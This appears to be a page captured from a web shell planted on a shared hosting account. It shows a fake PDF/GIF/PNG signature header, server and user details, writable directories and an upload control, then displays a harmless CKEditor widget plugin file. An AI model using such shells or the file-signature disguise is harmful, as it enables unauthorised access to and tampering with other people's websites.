%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/ckeditor/plugins/tangy-gps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/ckeditor/plugins/tangy-gps/plugin.js
CKEDITOR.plugins.add( 'tangy-gps', {
	requires: 'widget',
	icons: 'tangy-gps',
	init: function( editor ) {
		CKEDITOR.dialog.add( 'tangy-gps', this.path + 'dialogs/tangy-gps.js' );
		editor.widgets.add( 'tangy-gps', {
			allowedContent:
				'div(!tangy-gps,align-left,align-right,align-center){width};' +
				'div(!tangy-gps-content); h2(!tangy-gps-title); tangy-section();',
			requiredContent: 'div(tangy-gps)',
			template:
				'<tangy-gps></tangy-gps>',
			button: 'Create a tangy-gps',
			dialog: 'tangy-gps',
			upcast: function( element ) {
				return element.name == 'tangy-gps' ;
			},
			init: function() {
				this.setData('name', this.element.$.name)
				if (this.element.$.required) {
					this.setData('required', 'required')
				} else {
					this.setData('required', 'not-required')
				}
			},
			data: function() {
				this.element.$.setAttribute('name', this.data.name)
				if (this.data.required === 'required') {
					this.element.$.setAttribute('required', true)
				} else {
					this.element.$.removeAttribute('required')
				}

			}
		} );
	}
} );

VaKeR 2022